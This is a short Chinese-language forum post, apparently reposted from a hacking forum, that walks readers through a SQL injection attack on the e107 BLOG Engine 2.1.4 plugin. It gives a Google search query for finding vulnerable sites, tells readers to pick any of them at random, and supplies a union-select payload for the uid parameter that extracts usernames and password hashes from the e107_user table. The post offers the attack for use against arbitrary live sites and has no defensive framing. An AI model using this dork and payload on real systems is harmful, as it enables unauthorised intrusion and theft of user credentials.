转载请注明：天阳网络技术联盟 http://bbs.tian6.com
其实这个洞是幻影发的。。。。。
这次给大家带来的是 e107 Plugin BLOG Engine 2.1.4 Remote SQL Inj PHP远程注入漏洞，非常的简单。

首先用GOOGLE搜索：

[Copy to clipboard] [ - ]CODE:
allinurl:"macgurublog.php?uid="
在里面随便选择一个站，打开后在UID=后输入：

[Copy to clipboard] [ - ]CODE:
-1+union+select+concat(user_name,char(58),user_password,char(58)),2+from+e107_user/*